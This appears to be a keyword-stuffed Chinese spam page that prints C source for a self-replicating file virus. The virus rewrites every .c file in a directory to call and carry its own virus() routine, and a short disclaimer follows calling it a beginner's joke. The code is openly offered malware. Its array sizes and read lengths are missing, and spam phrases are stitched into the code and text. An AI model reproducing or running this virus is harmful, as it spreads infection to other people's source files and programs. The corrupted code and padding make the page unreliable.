1.c语言木马源代码
c语言木马源代码
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,木马源码*out,*read;
char *virus="virus.c";
char buf[][];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={ "stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=)
{
fclose(in);
goto next;
}
p=fgets(buf[i],,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,木马源码但如果用来做不法的木马源码雷锋网站源码事情,本人概不负责。木马源码还有,木马源码新闻头条源码编病毒、木马源码自学网站源码木马去做违法的木马源码事情惩罚是很重的,你如果想学编程,木马源码编个简单的木马源码就好了,否则后果很严重。木马源码
木马源码2024-11-25 02:121001人浏览
2024-11-25 01:402562人浏览
2024-11-25 01:311001人浏览
2024-11-25 01:311423人浏览
2024-11-25 01:091765人浏览
2024-11-25 00:05732人浏览
1.直播影视源码是什么意思?2.电视功放影视通是怎幺连接的3.成品网站W灬源码火龙果打造优质观影平台,免费观看欣赏4.2023年新版千月影视原生双端带H5端可域名打包苹果免签或安卓封装APK5.小剧场
1.企业有网页后台源代码,如何复制源代码生成一个新的后台?2.web网页代码里哪些需要进行数据库备份?3.做it行业的,将项目源码保存到自己的云盘如:百度云盘)上面,是否违反公司签订的保密协议?企业有